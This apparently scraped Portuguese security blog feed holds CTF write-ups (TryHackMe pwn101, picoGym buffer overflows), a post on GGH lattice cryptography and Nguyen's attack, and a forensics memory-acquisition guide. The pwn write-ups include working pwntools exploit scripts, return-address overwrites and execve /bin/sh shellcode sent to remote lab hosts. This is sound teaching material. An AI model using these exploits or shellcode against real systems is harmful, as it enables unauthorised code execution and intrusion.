14 15 16 17 18 19 20 import pwn #fornecendo um parâmetro que nos permite verificar o dado bruto que está sendo enviado e recebido pwn.context.log_level = \u0026#39;debug\u0026#39; #estabelecendo o enderenço de domunicação remoto. Substitua ip pelo ip do servidor p = pwn.remote(\u0026#34;ip\u0026#34;, 9002) #bytes enviados que farao a exploração payload = b\u0026#39;A\u0026#39; * (0x70-0x8) + pwn.p32(0xc0d3) + pwn.p32(0xc0ff33) #metodo que recebe dados puros p.recv() #metodo que envia o dado especificado pelo parametro p.sendline(payload) p.recv() #nos da uma interface para emular um terminal p.interactive() [pwn103 - Challenge 3] Ao iniciarmos o programa, nos deparamos com uma interface com uma lista de escolhas. Vasculhando as funcionalidades na tentativa de quebrar o programa, encontramos um input em \u0026ldquo;General\u0026rdquo; que pode ser explorado. Tentar quebrar o programa nos retorna Segmentation Fault (uma tentativa de acessar um endereço virtual inválido). Começaremos a investigar a partir daqui.\nVamos abrir o nosso querido IDA e partir para a análise do binário. Vale notar na parte esquerda da interface do IDA: podemos ver as funções que o programa faz uso. Podemos reconhecer \u0026ldquo;General\u0026rdquo;, \u0026ldquo;bot_cmd\u0026rdquo;, \u0026ldquo;announcements\u0026rdquo;, \u0026ldquo;discussion\u0026rdquo; e \u0026ldquo;rules\u0026rdquo;. Além disso, temos uma função chamada \u0026ldquo;admins_only\u0026rdquo; que parece um tanto quanto suspeita.\nVamos partir então para a função principal do programa e tentar entender a sua lógica. Nada muito interessante aqui. Temos basicamente uma jump table que associa cada input 1-5 a um endereço. Vamos então verificar a função \u0026ldquo;General\u0026rdquo; que, ao que tudo indica, nos forneceu um segmentation fault. Temos no início a declaração de uma variável com tamanho de 20 bytes. Reconhecemos a função scanf. Antes de sua chamada, é possível perceber que carregamos o endereço da variável s1 em rsi. Logo abaixo, existe a comparação do nosso input com a string \u0026ldquo;yes\u0026rdquo; com um salto para loc_401366 caso não sejam iguais. Nesse caso, pensei em análisar de forma dinâmica o que acontece quando eu \u0026ldquo;quebro\u0026rdquo; o programa. Vamos ver o que acontece durante o Segmentation Fault.\nQuando quebramos o programa, recebemos o seguinte aviso do IDA:\nEle reclama que no endereço 0x401377 tentamos acessar um endereço inválido. Mas, qual endereço? Vamos colocar um breakpoint no endereço da reclamação e visualizar a stack do processo.\nClaro. Aparentemente, estamos retornando para uma sequência de 41 que é a codificação ascii de \u0026lsquo;A\u0026rsquo; em hexadecimal. Hipotése:\n1 Se pudermos controlar esse endereço, podemos controlar o fluxo do programa. Vamos tentar realizar uma prova de conceito manipulando diretamente a memória do processo a fim de manipular o endereço de retorno e ver o que acontece.\nTentaremos colocar o endereço de admins_only\nConseguimos. Ou seja, basta colocarmos o endereço entre os A\u0026rsquo;s enviados para redirecionar o programa para admins_only. Vamos ver como o programa se comporta adiante. Para isso, usarei a técnica de breakpoints em todas as instruções e olhos atentos.\nTalvez estejamos sobreescrevendo algo importante.\nVemos que para chegar no endereço de retorno temos que preencher 40 A\u0026rsquo;s. Façamos somente isso com a modificação do endereço e vamos ver o que acontece.\nO programa continua normalmente até que tenhamos outra segmentation fault na chamada de _system, nos redirecionando para uma instrução movaps dentro da função do_system.\nProcurando a definição da instrução na internet, vemos que precisamos garantir o alinhamento de 16 bytes dos operandos já que temos uma operação de memória.\nOlhando para o valor do rsp, percebemos que não é o caso.\nPara contornar a situação, vamos manipular o tamanho da stack a fim de que tenhamos o alinhamento desejado. Uma técnica comum é a de usar um retorno intermediário. A ideia é saltar para uma instrução de retorno que saltará para a nossa função desejada. Nesse caso, vamos saltar de forma intermediária para o endereço 0x40158B. Depois que saltarmos, retn irá pegar o valor no topo da stack e saltar para esse endereço. Portanto, aí que colocaremos o nosso endereço da função admins_only. Nosso shellcode deve ter a seguinte cara:\n1 payload = b\u0026#39;A\u0026#39; * 40 + pwn.p64(0x40158B) + pwn.p64(0x401554) Nosso script ficará assim:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import pwn import time pwn.context.log_level = \u0026#39;debug\u0026#39; payload = b\u0026#39;A\u0026#39; * 40 + pwn.p64(0x40158B) + pwn.p64(0x401554) p = pwn.remote(\u0026#34;ip\u0026#34;, 9003) p.recv() time.sleep(1) p.sendline(b\u0026#39;3\u0026#39;) time.sleep(1) p.recv() p.sendline(payload) p.interactive() [pwn104 - Challenge 4] No quarto desafio, nosso programa nos printa na tela uma mensagem com um endereço e aguarda um input. Como já é hábito, tentamos quebrar o programa. A nossa entrada gera um Segmentation Fault. Vamos partir para a análise dinâmica com o IDA.\nA estrutura do nosso programa é simples. Temos uma função principal com uma variável buf de tamanho 0x50. As coisas ficam interessantes nas chamadas para printf e read.\nA primeira carrega o endereço de buf e carrega a seguinte string para printar:\n1 \u0026#34;I\u0026#39;m waiting for you at %p\\n\u0026#34; Vamos comparar o endereço carregado em rsi na instrução mov rsi, rax com o que aparece no terminal.\nDe fato, o endereço que aparece no terminal é o endereço do próprio buffer que está na função main. Posteriormente, a função read é chamada com o endereço de escrita no endereço de buf e com o tamanho de 200 bytes. É de esperar o Segmentation Fault. Estamos escrevendo até 200 bytes no endereço de buf. Mas, como exploramos essa vulnerabilidade? Dessa vez não existe nenhuma função de retorno interessante no binário. Lembre-se que não existe diferença fundamental entre dados e instruções. Bytes passam a cumprir papel de dados ou instruções a depender do contexto. A linguagem assembly nada mais é que uma codificação que permite que humanos interpretem mais facilmente a linguagem de máquina. Ainda, a linguagem de máquina nada mais é que uma codificação de bytes que permite que máquinas sejam capazes de interpretar bytes. Todo processador precisa \u0026ldquo;saber\u0026rdquo; aonde buscar os bytes a serem interpretados como instruções. Essa responsabilidade na arquitetura dos processadores x86-64 fica para o RIP, que é um registrador que armazena o endereço da próxima instrução. Se conseguirmos controlar o RIP, conseguimos escolher o que o processador vai tentar ler para interpretar como instruções. Mas, primeiro, vamos usar uma ferramenta que nos mostra as medidas de segurança que existem no binário.\nA ferramenta nos diz que a execução em pilha é permitida. Isso significa que podemos carregar bytes que correspondem a instruções na pilha e mandar o RIP apontar para lá. A forma que nós estamos acostumados a fazer é de garantir que o topo da pilha contenha nosso endereço desejado no momento em que o RIP aponta para a instrução retn.\nO procedimento então fica da seguinte forma:\n1 preencher o buf com instruções + padding + endereço de retn Colocando alguns A\u0026rsquo;s e verificando o valor do rsp quando a instrução retn é executada, descobrimos até onde precisamos preencher. O fluxo retorna para libc_start_call_main.\nSe contarmos quantas células temos, veremos que temos 12 * 8 bytes para serem preenchidos. Começamos em 0x00007FFFFFFFDC80 e terminamos em 0x00007FFFFFFFDCD8. Nosso payload deve ser da forma:\n1 payload = shellcode + b\u0026#39;A\u0026#39; * (88-len(shellcode)) + endereço O que queremos executar exatamente? Bom. Podemos executar instruções arbitrárias - contanto que caibam no buf. Porque não poppar um shell? Procurando na internet encontramos um shellcode x64 linux que realiza um execve com \u0026ldquo;bin/sh\u0026rdquo;. E como resolvemos o endereço? Bom. Nós recebemos o endereço na tela, basta capturamos com o pwntools.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import pwn import time #pwn.context.binary = binary = \u0026#39;./pwn104-1644300377109.pwn104\u0026#39; pwn.context.log_level = \u0026#39;debug\u0026#39; shellcode = b\u0026#39;\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05\u0026#39; payload = shellcode + b\u0026#39;A\u0026#39; * (88-len(shellcode)) #p = pwn.process(binary) p = pwn.remote(\u0026#34;10.10.225.226\u0026#34;, 9004) p.recvuntil(b\u0026#34;I\u0026#39;m waiting for you at \u0026#34;) address = p.recvline() time.sleep(1) bufferAddress = pwn.p64(int(address, 16)) payload = payload + bufferAddress p.sendline(payload) p.interactive() É importante notar a linha de conversão do endereço já que não recebemos os bytes puros no terminal. Recebemos a representação em ascii, como é possível ver a partir do offset 0x84 no pacote abaixo.\n[pwn105 - Challenge 5] Ao executarmos o programa, nos deparamos com uma interface para a inserção de dois números. Temos um input para cada número. O programa printa na tela o resultado da soma dos dois. Tentando quebrar o programa de alguma forma não encontramos nada de interessante. Partimos logo, então, para a análise do binário no IDA.\nO breakpoints marcam instruções do nosso interesse. Temos no início, dois scanf sem controle de tamanho de input. Percebemos também que os valores do primeiro e segundo input são carregados nas variáveis var14 e var10, respectivamente.\nEsses valores são carregados nos registrados eax e edx. Em seguida, temos duas instruções do tipo\n1 2 add eax, edx mov [rbp+var_C], eax que adiciona os valores carregados no registrador eax e armazena na variável C.\nNosso objetivo está nos offset 0x130E e 0x1312.\n1 2 cmp [rbp+var_C], 0 js short loc_134B A primeira instrução verifica se o valor em var_C é negativo. A segunda pula para o endereço do procedimento do shell caso var_C seja negativa. O que precisamos então, é garantir que a variável C seja negativa. Se tentarmos simplesmente colocar valores negativos nos input teremos problemas com as seguintes instruções:\n1 2 3 4 5 6 mov eax, [rbp+var_14] test eax, eax js short loc_1384 mov eax, [rbp+var_10] test eax, eax js short loc_1384 Essas instruções verificam se uma das variáveis inseridas são negativas. Se forem, o programa salta para o procedimento loc_1384, que finaliza o programa.\nMas então, como fazer isso? Sabemos que nossas variáveis tem tamanho de 4 bytes.\nAlém disso, lembre-se que nossos inteiros tem o valor máximo de 2147483647 e da forma de representação dos números com sinal em assembly. Pensando com a codificação two\u0026rsquo;s complement, podemos abusar do overflow de inteiros (já que nesse caso não temos nenhuma checkagem). Com isso:\n","permalink":"http://grisufrj.github.io/blog/2024-08-11-pwn101-thm-writeup/","summary":"[pwn101 5/10] writeUp [pwn101 - Challenge 1] A sala nos diz que a aplicação está rodando no endereço \u0026lsquo;10.10.151.216:9001\u0026rsquo;. Com o utilitário nc podemos escrever e ler em conexões TCP e UDP. Assim, podemos nos conectar com a aplicação usando o comando:\nnc 10.10.151.216 9001\nAo conectarmos com a aplicação recebemos um texto com um pedido de ajuda para fornecer os ingredientes para o programa como input. A sala fornece uma dica de inicio \u0026lsquo;AAAAAAAAAAA\u0026rsquo;.","title":"Uma introdução prática a Exploração de Binários com Engenharia Reversa: writeUp da sala pwn101 THM"},{"content":"1. Goldreich-Goldwasser-Halevi (GGH): O GGH é um sistema de criptografia de chave pública baseado no Problema de Vetor mais Próximo (CVP) em reticulados. Desenvolvido por Oded Golreich, Shafi Goldwasser e Shai Halevi, seu artigo foi publicado com o título “Public-key cryptosystems from lattice reduction problems.”, onde foi explorado problemas difíceis em reticulados com aplicação em criptografia e possíveis ataques ao sistema proposto.\nPouco depois, o pesquisador Phong Nguyen fez a criptoanálise do GGH, expondo que qualquer texto encriptado vaza informações da mensagem original e que uma cifra pode ser decriptada com a aproximação do Problema de Base Mais Curta, que é uma variação do Problema de Vetor mais Curto (SVP) para matrizes.\nAlém disso, para garantir um mínimo de segurança, a dimensão das chaves deve ser superior a 400, o que é uma grande desvantagem para o sistema, visto que teríamos que armazenar pelo menos 3 matrizes dessa magnitude.\nOBS: Para acessar o conteúdo completo visite o material original\n1.1. Gerando as Chaves: O Problema de Vetor mais Próximo é resolvido sem grandes dificuldades quando temos boas bases, isto é, bases com raio de Hadamard próximo de 1. Então, é justo que essa vantagem fique com portadores da chave privada.\nPara obter uma matriz com essa qualidade, primeiro gera-se $R\\in\\mathbb{Z}^{n\\times n}$ $\\{-l,\\dots,+l\\}^{n\\times n}$ uniformemente distribuída de parâmetro$\\ $$l$ onde $n$ é tamanho da mensagem. Esta é então somada a matriz $k\\cdot \\textsf{I}$, tal que $k=[\\sqrt{n} \\cdot l]$ e $\\textsf{I}$ é a matriz identidade de dimensão $n$. Enquanto, o raio de Hadamard não for suficientemente próximo de 1, repita essas etapas.\n$$ \\textsf{V}=R+k\\cdot\\textsf{I} $$\nJá a chave pública deve ser de ‘má’ qualidade para que qualquer um que queira solucionar o $\\text{CVP}$ tenha muita dificuldade. Contudo, a chave pública $\\textsf{W}$ precisa gerar o mesmo reticulado $\\mathcal{L}$ que a base $\\textsf{V}$ para que a mensagem encriptada possa ser decriptada.\nUma forma de garantir isso é aplicando o $\\textsf{Teorema 1}$, que diz que dois reticulados $\\mathcal{L}(\\textsf{B})$ e $\\mathcal{L}(\\textsf{C})$ são iguais se e somente se existe uma matriz unimodular $U$ tal que $C=BU$. Então, precisamos gerar uma matriz unimodular para transformar a chave privada na pública. Fica à escolha do programador qual das duas formas apresentadas irá usar (Forma Normal de Hermite ou Multiplicação de Matrizes Triangulares).\n$$ \\textsf{W}=\\textsf{U}\\textsf{V} $$\nAlém disso, para desviar o ‘ciphertext’ do reticulado, é gerado um vetor efêmero de erros $r\\in\\{+\\sigma,-\\sigma\\}^n$, onde $\\sigma \\in \\mathbb{N}$ é o parâmetro threshold, i.e, limita o valor dos elementos do vetor. Vale ressaltar, que este valor $\\sigma$ é uma informação pública, enviada juntamente com a base $\\textsf{W}$.\nEsse valor é calculado através da norma $l_1$ das linhas de $\\textsf{V}^{-1}$. Denote $p\\in\\mathbb{R}^+$ como a maior norma dessas linhas, enquanto $\\sigma \u0026lt;\\frac{1}{2p}$, não há como ocorrer erros na decriptação da mensagem.\n1.2. Encriptar: O processo de encriptar uma mensagem $m$ necessita que esta seja codificada primeiro em um vetor, tal que $m\\in\\mathcal{F}(\\textsf{V})$, i.e, o vetor da mensagem deve estar no Domínio Fundamental da Base Privada.\nÉ interessante, que apesar do valor do threshold $\\sigma$ ser público, o vetor $r$ por ele gerado não o é, visto que isso acabaria com a segurança da criptografia. Na verdade, fica na responsabilidade de quem encripta a mensagem gerar um vetor aleatório com esse valor. Esta etapa é feita escolhendo as entradas do vetor $r\\in\\mathbb{Z}^n$ entre $+\\sigma$ e $-\\sigma$ com probabilidade $1/2$.\nA mensagem é então encriptada com:\n$$ c= m\\cdot\\textsf{W}+r $$\nPercebe-se então que, a dimensão das chaves pública e privada dependem exclusivamente do tamanho da mensagem.\n1.3. Decriptar: Já decriptar uma cifra é feito usando o algoritmo ‘NearestPlane’ de Babai com a chave privada $\\textsf{V}$ para encontrar o vetor mais próximo de $c$. Assim, a mensagem original é obtida computando\n$$ m=[c\\cdot\\textsf{V}^{-1}]\\cdot \\textsf{V}\\cdot \\textsf{W}^{-1} $$\nCom esse novo vetor em mãos, basta decodificá-lo da mesma forma em que a mensagem foi transformada em um vetor.\nObserve, que se a matriz unimodular $U$ usada para gerar a chave pública for armazenada, podemos simplificar este cálculo.\n$$ m=[c\\cdot\\textsf{V}^{-1}]\\cdot U^{-1} $$\n1.4. Exemplo Prático: Vejamos um exemplo prático com números reduzidos para facilitar compreensão:\nSejam $\\textsf{V}$ a chave privada e $\\textsf{W}$ a chave pública do sistema de criptografia GGH.\nPodemos verificar o quão ortogonais são essas bases com o raio de Hadamard, e de fato $\\mathcal{H}(\\textsf{V})\\approx0.94$ e $\\mathcal{H}(\\textsf{W})\\approx0.05$. Neste caso, threshold $\\sigma$ limita os elementos do vetor efêmero $r$ em 1.\nEncriptamos a mensagem $m=\\text{\u0026ldquo;ABC\u0026rdquo;}$ conforme explicado e obtemos,\n$$ c=\\begin{bmatrix}-1383\\quad-834 \\quad 3317\\end{bmatrix}^T $$\nEm seguida para decriptar o ‘ciphertext’ é computado $[c\\cdot {V}^{-1}]\\cdot U^{-1}$ e encontramos o vetor $[65, 66, 67]^T$, que ao ser decodificado é transformado na string:\n$$ m=\\text{\u0026ldquo;ABC\u0026rdquo;} $$\n1.5. Observações: Ao longo dos anos, muitos modelos foram propostos para melhorar a segurança do GGH, como o GGH-YK e GGH-YK-M, mas cada vez mais eles se distanciavam do problema de vetor mais próximo como parâmetro de segurança, que quebra o propósito inicial da criptografia GGH.\n2. Ataque de Nguyen: Suponha que a mensagem $m\\in\\mathbb{Z}^n$ foi encriptada pelo GGH com a chave pública $W\\in\\mathbb{Z}^{n\\times n}$ e o vetor de erro $r\\in\\{-\\sigma,+\\sigma\\}^n$ em $c=mW+r$. A ideia principal desse ataque é reduzir $c$ em um módulo bem escolhido para que o vetor de erro $r$ possa ser eliminado da equação.\nDado que o threshold $\\sigma$ é uma informação pública, a estratégia é gerar um vetor $s=\\{+\\sigma\\}^n$ e somá-lo aos erros $r$, porque $r+s=\\{0,2\\sigma\\}^n$.\n$$ c=mW+r $$\n$$ c+s=mW+r+s $$\nE se dividirmos ambos os lados por $2\\sigma$, a soma $r+s$ será $\\{0\\}^n\\in\\mathbb{Z}_{2\\sigma}^n$ e portanto $r$ não faz mais parte da equação.\n$$ c+s\\equiv mW \\ \\ \\ \\ \\text{(mod 2}\\sigma) $$\nPara solucionar esta congruência, é necessário isolar a mensagem $m$.\n$$ m\\equiv (c+s)\\cdot W^{-1} \\ \\ \\ \\ \\ (\\text{mod} \\ 2\\sigma) $$\nNa verdade este vetor $m$, não é a mensagem original, mas informações parciais dela, visto que os elementos do vetor estão reduzidos módulo $2\\sigma$. Este vetor é chamado de $m_{2\\sigma}$, que satisfaz $m\\equiv m_{2\\sigma} \\ (\\text{mod} \\ 2\\sigma)$, e portanto, existe um $m\u0026rsquo;\\in\\mathbb{Z}^n$ tal que\n$$ m-m_{2\\sigma}=2\\sigma m\u0026rsquo; $$\nSubtraímos o vetor $m_{2\\sigma}W$ da equação de encriptação original para extrair a informação que não possuímos de $m$, para novamente dividirmos por $2\\sigma$, substituindo pela forma vista acima.\n$$ c-m_{2\\sigma}W=(m-m_{2\\sigma})W+r $$\n$$ \\frac{c-m_{2\\sigma}W}{2\\sigma}=m\u0026rsquo;W+\\varepsilon $$\nPerceba que o novo vetor $\\varepsilon=\\{-\\frac{1}{2}, +\\frac{1}{2}\\}^n\\in\\mathbb{Q}^n$ transforma a norma do vetor de erros de $\\sigma\\sqrt{n}$ em $\\sqrt{n}/2$. Apesar de ser racional, essa nova instância do CVP por Nguyen reduz muito o trabalho da procura do vetor mais próximo, até porque existem maneiras de contornar essas frações, como multiplicar ambos os lados por 2.\nNas etapas finais do ataque é usada uma técnica de incorporação, que reduz o problema em um SVP, vejamos:\nSejam o reticulado $\\mathcal{L}$ gerado pela base $\\textsf{B} \\in\\mathbb{Z}^{n\\times n}$, $c$ o vetor dado no problema de $\\text{CVP}$ e $\\textsf{v}$ o vetor que minimiza a distância. Essa técnica incorpora o vetor $c$ na base do reticulado gerando $\\mathcal{L}\u0026rsquo;$.\nO problema começa nessa parte, porque com uma jogada de fé, o algoritmo LLL de redução de base vai tentar resolver o $\\text{SVP}$ de $\\textsf{B}\u0026rsquo;$ e seu output vai ser $(c-\\textsf{v},1)\\in\\mathbb{Z}^{n+1}$ que é curto e pertence a $\\mathcal{L}\u0026rsquo;$, porque somente assim a instância $\\text{CVP}$ de $\\mathcal{L}$ é solucionada pelo $\\text{SVP}$ do reticulado $\\mathcal{L\u0026rsquo;}$.\n3. Referências: [1] Arif Mandangan, Muhammad Asbullah, Hailiza, Kamarulhaili. A Security Upgrade on the GGH Lattice-based Cryptosystem.\n[2] Ahmad Shahrir, Leyan Pan, Kevin Hutto, Vincent Mooney. Lattice-Based Encryption Schemes and its Applications to Homomorphic Encryption.\n[3] Charles F. de Barros, L. Menasché Schechter. GGH May Not Be Dead After All\n[4] Amelie Schenström. The GGH Encryption Scheme - A Lattice-based Cryptosystem\n[5] Seong-Hun Paeng, Bae Eun Jung, Kil-Chan Ha. A Lattice Based Public Key Cryptosystem Using Polynomial Representations.\n[6] Joseph H. Silverman. An Introduction to Lattices, Lattice Reduction, and Lattice-Based Cryptography\n[7] Oded Golreich, Shafi Goldwasser, Shai Halevi. Public-Key Cryptosystems from Lattice Reduction Problems\n[8] Reza Hooshmand. Improving GGH Public Key Scheme Using Low Density Lattice Codes\n[9] Xinyue Deng. An Introduction to Lenstra-Lenstra-Lovasz Lattice Basis Reduction Algorithm\n[10] Zhaofei Tian. GGH Cryptosystem and Lattice Reduction Algorithms\n[11] CSE 206A Classes Daniele Micciancio UCSD CSE\n[12] Clément Pernet, William Stein. Fast computation of Hermite normal forms of random integer matrices\n[13] Phong Nguyen. Cryptanalysis of the Goldreich–Goldwasser–Halevi Cryptosystem from Crypto’97\n","permalink":"http://grisufrj.github.io/blog/2024-09-08-criptografia-de-reticulados/","summary":"1. Goldreich-Goldwasser-Halevi (GGH): O GGH é um sistema de criptografia de chave pública baseado no Problema de Vetor mais Próximo (CVP) em reticulados. Desenvolvido por Oded Golreich, Shafi Goldwasser e Shai Halevi, seu artigo foi publicado com o título “Public-key cryptosystems from lattice reduction problems.”, onde foi explorado problemas difíceis em reticulados com aplicação em criptografia e possíveis ataques ao sistema proposto.\nPouco depois, o pesquisador Phong Nguyen fez a criptoanálise do GGH, expondo que qualquer texto encriptado vaza informações da mensagem original e que uma cifra pode ser decriptada com a aproximação do Problema de Base Mais Curta, que é uma variação do Problema de Vetor mais Curto (SVP) para matrizes.","title":"Explorando Criptografia de Reticulados"},{"content":"Introdução Quando um incidente de segurança ocorre, é importante obter a imagem de memória do sistema pós incidente, para poder melhor analisar o que ocorreu e como ele foi invadido.\nAquisição de Imagens É importante diferenciar o conceito de cópia e imagem, especialmente para memória não volátil. A cópia do armazenamento de um dispositivo é a clonagem de todos seus arquivos ainda existentes (ou seja, arquivos deletados não serão copiados, pois o SO não pode mais os reconhecer).\nPor outro lado, a imagem faz um clone bit a bit do HD/SSD inteiro, incluindo as partes apagadas anteriormente pelo SO. Ou seja, a imagem rende mais informações, e pode mostrar dados antes removidos.\nMemória Não Volátil A memória não volátil é a informação que se mantém ao desligar a máquina. Pode envolver o que está armazenado no HD/SSD, os logs do sistema, a chaves de registros ou arquivos prefetch.\nHD / SSD Nota: por causa da diferença no funcionamento, arquivos apagados em um HD tem mais facilidade de serem recuperados do que um SSD. Como SSDs funcionam a partir da mudança do estado de elétrons (diferente do HD, que escreve em um disco), recuperar dados apagados em um SSD é muito mais difícil\nCriando uma imagem do HD/SSD Para sistemas Windows, pode-se usar o FTK Imager. Para Linux, o Guymager (do sistema CAINE) pode criar uma imagem.\nO FTK Imager é uma ferramenta de forense digital focada pro Windows, e o CAINE é uma distribuição Linux especializada para forense digital\nLog de eventos: Para o sistema operacional, o log de eventos é um registro de todas as coisas que ocorreu com o sistema, como processos e conexões iniciadas. Para sistemas Windows, eles são armazenados no diretório C:\\Windows\\System32\\winevt\\Logs, enquanto que em sistemas Linux a maioria deles são armazenados em \\var\\log. Para consultar logs no linux, podemos usar o journalctl, que unifica todos os logs de sistema.\nChave de Registros: A Chave de Registro é uma coleção de informações sobre partes do sistema como hardware, software, drivers, configurações de usuário e outras configurações do sistema operacional e da máquina.\nPara o Windows, as chaves de registros são armazenadas no diretório C:\\Windows\\System32\\config. Além disso, cada usuário tem seu próprio registro em seu diretório chamado NTUSER.DAT, que guarda suas configurações pessoais.\nPara o Linux, softwares do Linux normalmente armazenam suas configurações em um arquivo de texto individual, configurações da máquina são armazenadas no diretório /etc e configurações de usuários normalmente estão localizadas no diretório /home de cada um, normalmente em arquivos escondidos.\nPrefetch: O Prefetch é um sistema no Windows que carrega mais rapidamente os programas que são mais usados, armazenando o arquivo .pf na pasta. A vantagem desse diretório para forense digital é a possibilidade de visualizar se há algum programa indevido sendo muito utilizado, podendo ser um malware.\nTodos esses dados também podem ser copiados com um aplicativo como Triage ou kape.\nMemória Volátil No caso, a memória volátil seria a memória que é apagada ao desligar a máquina (RAM, conexões de rede, processos ativos).\nUtilizando FTK Imager (Windows) O FTK Imager possui também a função de adquirir a memória volátil de uma máquina. Depois de terminar, ele vai gerar um arquivo .mem.\nUtilizando winpmem (Windows) Utilizando o winpmem pela linha de comando, podemos criar um arquivo .raw com as informações da memória. Comando: winpmem_64.exe \u0026lt;nome do arquivo\u0026gt;.raw\nUtilizando AVML (Adquire Volatile Memory for Linux) Para sistemas Linux, o AVML pode criar uma imagem da memória do sistema.\nLeitura de memória não volátil Depois de adquirir a imagem da memória, o volatility pode ser usado para ler a memória e identificar processos, conexões de rede e outras partes da memória não volátil.\nReferências: https://www.mentebinaria.com.br/courses/course/2-dfir/\nhttps://www.cyberciti.biz/faq/linux-log-files-location-and-how-do-i-view-logs-files/\nhttps://linuxhandbook.com/journalctl-command/\nhttps://www.forensicfocus.com/articles/windows-registry-analysis-101/\nhttps://meuwindows.com/o-que-e-pasta-prefetch-para-que-serve/\nVolatility: https://github.com/volatilityfoundation/volatility3\nwinpmem: https://github.com/Velocidex/WinPmem/releases\nCAINE: https://www.caine-live.net/\nKape: https://www.sans.org/tools/kape/\nAVML: https://github.com/microsoft/avml\n","permalink":"http://grisufrj.github.io/blog/2024-08-09-aquisi%C3%A7%C3%A3o-de-imagens-forense/","summary":"Introdução Quando um incidente de segurança ocorre, é importante obter a imagem de memória do sistema pós incidente, para poder melhor analisar o que ocorreu e como ele foi invadido.\nAquisição de Imagens É importante diferenciar o conceito de cópia e imagem, especialmente para memória não volátil. A cópia do armazenamento de um dispositivo é a clonagem de todos seus arquivos ainda existentes (ou seja, arquivos deletados não serão copiados, pois o SO não pode mais os reconhecer).","title":"Forense Digital: Aquisição de logs e memória volátil/não volátil"},{"content":"Esse é um writeup dos 15 desafios iniciais de pwning do picoGym. Você pode encontrar esses desafios em picoGym. Há também um desafio extra no final do post de um outro CTF :) Vamos começar ^^\nbuffer overflow 0 Nos é dado este arquivo C:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { printf(\u0026#34;%s\\n\u0026#34;, flag); fflush(stdout); exit(1); } void vuln(char *input){ char buf2[16]; strcpy(buf2, input); } int main(int argc, char **argv){ FILE *f = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (f == NULL) { printf(\u0026#34;%s %s\u0026#34;, \u0026#34;Please create \u0026#39;flag.txt\u0026#39; in this directory with your\u0026#34;, \u0026#34;own debugging flag.\\n\u0026#34;); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); // Set up signal handler gid_t gid = getegid(); setresgid(gid, gid, gid); printf(\u0026#34;Input: \u0026#34;); fflush(stdout); char buf1[100]; gets(buf1); vuln(buf1); printf(\u0026#34;The program will exit now\\n\u0026#34;); return 0; } Ao realizar um checksec, obtemos o seguinte resultado:\n1 2 3 4 5 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Antes de começar, criei uma flag de debug em um arquivo chamado flag.txt. Dessa forma, podemos fazer o programa rodar localmente.\nSe olharmos o código, o arquivo flag.txt será lido e gravado em char flag[FLAGSIZE]. A única maneira de exibir o conteúdo da flag é acionando a função de sinal. Isso significa que, se causarmos um erro de segmentação, por exemplo, o conteúdo da flag será exibido.\nFelizmente, o programa usa a função gets. Ela escreverá na variável char buf1[100] qualquer coisa que quisermos, sem considerar o tamanho. Se olharmos para a função vuln, veremos que ela copia do argumento de entrada (que será o buf1) para um buffer de tamanho 16.\nPortanto, se sobrescrevermos o endereço de retorno da função vuln com algum valor inválido, isso definitivamente causará um erro de segmentação.\nVocê pode simplesmente colocar muitos caracteres A para garantir que o endereço de retorno seja sobrescrito com eles. Eu coloquei AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. Ao analisar o programa no gdb, podemos ver isso:\nO programa irá travar, pois temos \u0026lsquo;AAAA\u0026rsquo; como endereço de retorno, e isso não é válido. Executando o programa fora do gdb, ele passará pela função sigsegv_handler, que nos dará a flag:\nflag: picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}\nbuffer overflow 1 Aqui está o arquivo C fornecido:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026#34;asm.h\u0026#34; #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (f == NULL) { printf(\u0026#34;%s %s\u0026#34;, \u0026#34;Please create \u0026#39;flag.txt\u0026#39; in this directory with your\u0026#34;, \u0026#34;own debugging flag.\\n\u0026#34;); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf(\u0026#34;Okay, time to return... Fingers Crossed... Jumping to 0x%x\\n\u0026#34;, get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts(\u0026#34;Please enter your string: \u0026#34;); vuln(); return 0; } Ao realizar um checksec, obtemos o seguinte:\n1 2 3 4 5 6 7 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Como o binário não possui um stack canary, podemos facilmente sobrescrever o endereço de retorno usando a função gets em vuln().\nAo sobrescrever o endereço de retorno da função vuln, precisamos preencher todo o buffer char buf[BUFSIZE], alguns outros valores intermediários e, em seguida, o endereço de retorno.\nExecutei o programa dentro do gdb e usei o comando pattern create -n 4. Também coloquei um ponto de interrupção na instrução ret da função vuln e executei. Quando solicitado por uma entrada, forneci o padrão gerado pelo gdb. Terminamos nesta situação:\nHá algumas coisas importantes aqui. Observe o endereço impresso na parte superior da tela: 